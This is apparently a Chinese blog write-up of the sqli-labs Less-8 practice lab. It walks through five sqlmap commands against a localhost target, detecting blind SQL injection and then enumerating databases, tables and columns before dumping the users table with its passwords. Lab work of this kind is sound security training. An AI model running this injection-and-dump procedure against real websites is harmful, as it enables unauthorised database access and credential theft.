sqli-labs-Less-8自动化注入方法

sqli-labs 实验记录

Less-8

第一步:进行sqli注入漏洞检测

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch

--batch 表示采用默认参数。

查询结果如图所示:存在注入漏洞,注入类型分别为:boolean-based blind, time-based blind,; 并给出了相应的payload。

第二步:查询服务器中的所有数据库

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch --dbs

--dbs 表示查询数据库。

查询结果如图所示:数据库共有两个,分别为information_schema, security。

第三步:查询指定数据库中的所有表

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。

第四步:查询指定数据表中的所有列

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示:数据列共有3个,分别是id, password, username。

第五步:查询指定数据表中的具体信息

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示:数据表users中的具体信息共有13条。

相关推荐
乐观的Terry13 小时前
博客系统全文搜索实战:用 Elasticsearch 告别 MySQL LIKE 查询
mysql·elasticsearch
宋浮檀s13 小时前
SQL注入基础+DVWA搭建
数据库·sql·安全·网络安全
国冶机电安装13 小时前
PLC控制柜制造:从电气设计到自动化稳定运行的完整解析
自动化
米高梅狮子13 小时前
01.mysql的备份与恢复
运维·数据库·mysql·docker·容器·kubernetes·github
云飞云共享云桌面13 小时前
硬件采购省50%、设计效率提40%——通过云飞云共享云桌面一台云主机拖10人的真实跑法
运维·服务器·网络·人工智能·自动化
夕除13 小时前
spring boot 9
java·mysql·spring
UCloud_TShare14 小时前
告警至处置的自动化鸿沟:AI Agent 的破局思路探索
运维·人工智能·自动化
老码观察14 小时前
MySQL 慢 SQL 治理实战:从索引原理到真实踩坑
sql·mysql
思麟呀14 小时前
MySQL的视图特性和用户权限管理
数据库·mysql
guaiyud514 小时前
MySQL 8.0 小白安装教程(Windows + macOS 双版本)
mysql·安装·小白